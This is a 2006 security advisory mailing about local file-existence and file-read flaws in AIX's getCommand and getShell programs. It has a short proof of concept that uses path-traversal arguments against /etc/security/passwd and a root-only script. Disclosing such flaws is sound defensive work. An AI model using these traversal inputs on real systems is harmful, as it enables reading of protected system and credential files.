From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 2 Jan 2006 12:20:01 +0200
Subject: [UNIX] AIX getCommand and getShell Vulnerabilities
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AIX getCommand and getShell Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.ibm.com/servers/aix/>; AIX "(Advanced Interactive Executive)
is a proprietary operating system developed by IBM based on UNIX System
V". XFocus has discovered two vulnerabilities in the getCommand and
getShell programs that allows local attackers to determine whether a
certain file exist and also gain partial understanding to directory
structures.
DETAILS
Vulnerable Systems:
* AIX version 5.3 ml03 (other versions suspected)
<http://www.xfocus.org>; XFOCUS had already discovered some
vulnerabilities in getCommand and getShell.
After apply newest patch, getCommand and getShell still have two
vulnerabilities:
1: An attacker can determine file be exist or not
2: An attacker can read any shell document (even if doesn't have
permissions to read the file) as well as execute 'cd' operations and gain
access to partial information.
Examples:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen: No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512 2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh
-rwx------ 1 root system 79 2005-12-22 23:40 /tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh
ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$
-bash-3.00$
Disclosure Timeline:
* 26.12.05 - Initial vendor notification
* 01.01.06 - Public disclosure (vendor not reply)
ADDITIONAL INFORMATION
The information has been provided by <mailto:security@xfocus.org.> XFOCUS
Security Team.
The original article can be found at: <http://www.xfocus.org>;
http://www.xfocus.org
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